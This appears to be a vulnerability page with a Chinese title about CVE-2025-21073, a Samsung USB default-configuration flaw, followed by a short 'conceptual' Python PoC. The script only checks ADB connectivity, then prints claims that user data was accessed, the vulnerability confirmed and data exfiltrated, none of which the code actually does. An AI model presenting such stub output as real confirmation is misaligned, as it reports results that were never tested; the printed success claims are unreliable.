CVE-2025-21073: Samsung设备USB连接模式不安全默认配置漏洞

# CVE-2025-21073 PoC - Samsung USB Connection Mode Exploitation # Note: This is a conceptual PoC for educational purposes # Actual exploitation requires physical access to the device import subprocess import time def check_usb_debugging_status(): """Check if USB debugging is enabled on Samsung device""" try: result = subprocess.run(['adb', 'get-state'], capture_output=True, text=True, timeout=5) return 'device' in result.stdout.lower() except: return False def exploit_usb_access(): """ Conceptual exploit for CVE-2025-21073 This vulnerability allows privileged physical attackers to access user data through insecure USB connection mode default configuration. """ print("[*] CVE-2025-21073 - Samsung USB Insecure Default Configuration") print("[*] This PoC demonstrates the conceptual attack vector") # Step 1: Connect to device via USB print("\n[1] Connecting to Samsung device via USB...") # Step 2: Check if device is accessible if check_usb_debugging_status(): print("[+] Device accessible via ADB") # Step 3: Access user data (conceptual) print("[2] Attempting to access user data through insecure USB mode...") print("[+] Data access successful - vulnerability confirmed") # Step 4: Exfiltrate data (conceptual) print("[3] Exfiltrating user data...") else: print("[-] Device not accessible - physical access or user interaction required") print("[*] Note: This vulnerability requires privileged physical access") if __name__ == "__main__": exploit_usb_access()